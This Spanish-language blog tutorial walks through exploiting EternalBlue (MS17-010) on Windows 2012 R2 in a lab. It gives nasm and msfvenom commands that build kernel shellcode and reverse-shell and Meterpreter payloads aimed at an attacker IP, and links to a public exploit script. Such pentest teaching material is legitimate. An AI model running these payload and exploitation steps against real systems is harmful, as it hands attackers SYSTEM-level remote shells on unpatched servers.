Post62 nn

Explotando Windows 2012 R2 con EternalBlue


Foto
Andres Galeano

En el post anterior (Usando el exploit EternalBlue de la NSA) pudimos ver cómo utilizar diversos módulos de Metasploit para explotar la vulnerabilidad que afecta al servicio SMBv1 en los sistemas operativos Windows 7 y 2008 R2 (x86/x64).

 

Microsoft Bulletin: MS17-010(Critical)

Common Vulnerabilities and Exposures: CVE-2017-0143

 

En esta oportunidad vamos a ver como explotar la misma vulnerabilidad en sistemas Windows 2012 R2 (x64).

Nos vamos a basar en el Paper que público Sheila Berta en Exploit-DB.(ESPAÑOL/INGLES)

Este Paper explica el uso de una versión de EternalBlue desarrollada en Python por "Sleepya_"(Worawit Wang). 

 

Para que podamos llevar a cabo la practica de manera sencilla, vamos a necesitar una maquina virtual con Kali 2017.1, y otra con un Windows 2012 R2.

 


Imagen 1 - Windows 2012 R2 (x64)

 

La vulnerabilidad puede ser explotada en el caso de que este activo el usuario Guest o bien hayamos recopilado previamente las credenciales de un usuario valido, aunque tenga permisos reducidos nos servirá, ya que una vez explotada la vulnerabilidad, siempre recibiremos una terminal de SYSTEM.

 

 

Imagen 2 - Usuario estándar

 

Imagen 3 - Usuario Guest habilitado

 

Para comprender cómo esta conformado el exploit debemos tener en cuenta estos 3 tipos de archivos y cómo vamos a crearlos:

* Exploit

* Kernel Shellcode

* Userland Shellcode

 

 

Imagen 4 - Gráfico de guía

 

Imagen 5 - Gráfico de guía 

 

Paso 1: Crear Kernel Shellcode

 

Lo primero que deberemos hacer es ensamblar el Kernel Shellcode que creo Sleepya, podremos copiar el código del siguiente enlace: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm

El código que acabamos de copiar lo pegamos dentro de un archivo al que nombraremos: kernel_shell_x64.asm 

Para ensamblarlo ejecutaremos el comando:

 

nasm -f bin kernel_shell_x64.asm

Como resultado nos generara un archivo llamado: kernel_shell_x64

 

Imagen 6 - Creación de kernel_shell_x64

 

Paso 2: Crear Userland Shellcode (Payload)

 

El próximo paso es crear un Userland Shellcode (Para simplificarlo, sería crear un archivo binario el cual contendrá nuestro payload), para llevar a cabo esta tarea será necesario utilizar la herramienta msfvenom

Como demostración se creará 2 tipos de payload: una shell reversa vía TCP y una sesión de meterpreter.

 

msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444

 


Imagen 7 -  Payload Shell reversa vía TCP

 

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444 

 


Imagen 8 -  Payload Meterpreter

 

Una vez que tengamos creados nuestros payloads lo que deberemos hacer es concatenar cada uno con el archivo  con el kernel_shell_x64, de esta manera generaremos nuevos binarios, los cuales utilizaremos en la última etapa.

 

cat kernel_shell_x64 shell_msf.bin > reverse_shell.bin

 

 


Imagen 9 - reverse_shell.bin

 


Imagen 10 - meterpreter.bin

 

Creamos una carpeta llamada binarios en la cual vamos a copiar los archivos meterpreter.bin reverse_shell.bin 

 

mkdir binarios 
cp reverse_shell.bin meterpreter.bin binarios/
cd binarios/
ls

 

 

Imagen 11 - Creación de carpeta binarios y copia de archivos

 

Paso 3: Crear exploit.py

 

Crearemos el archivo exploit.py, el código lo podremos conseguir en el github de Sleepya : https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e

 
 

Imagen 12 - Creación de archivo exploit.py
 

Paso 4: Configurar el exploit.py con el usuario correspondiente

Tal como habíamos indicado anteriormente podríamos utilizar el usuario Guest en el caso que este activo o bien, un usuario con permisos estándar.

 


Imagen 13 -  Configuración de exploit.py con usuario Guest

 

Imagen 14 -  Configuración de exploit.py con usuario test

 

Paso 5: Poner a la escucha un Handler

 


Imagen 15 -  Handler (Payload: windows/x64/shell/reverse_tcp)

Imagen 16 -  Handler (Payload: windows/x64/meterpreter/reverse_tcp)

Paso 6: Ejecutar el exploit

En este paso lanzaremos el ataque con el exploit.py y el binario que contendrá el payload de la shell reversa o bien el de la sesión de meterpreter.

El parámetro con valor “500” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente.

 

Imagen 17 -  Explotación con el payload reverse_shell.bin

 

 

Imagen 18 -  Explotación con el payload meterpreter.bin

Paso 7: Resultado

Imagen 19 -  Resultado de Payload Shell Reversa

 

Imagen 20 -  Resultado de Payload Meterpreter

 

Como pueden ver, funciona muy bien esta versión de EternalBlue. Por el momento no hay ningún módulo para Metasploit. De todas maneras no hay que perder de vista los avances de Sheila (@unapibageek), Sean Dillon (@zerosum0x0) / Dylan Davis(@jennamagius) y Sleepya(@sleepya).

 

Recuerden que si desean conocer mas sobre la explotación pueden ver los informes originales:

Hasta la próxima vulnerabilidad :) 

 

 



Artículos que te pueden interesar


El reconocimiento es parte fundamental de las fases de pentesting, en ocasiones cuando queremos probar una vulnerabilidad día zero o solo querem... José Moreno


Continuar Leyendo

Al igual que en otras situaciones, luego de una conferencia de la comunidad DragonJar “Cómo ser del equipo azul, cuando la billetera está en roj... José Moreno


Continuar Leyendo

Wordpress es uno de los CMS más utilizado a nivel mundial cuenta con 37% del mercado de todos los sitios web en el mundo según Kinsta, uno de lo... José Moreno


Continuar Leyendo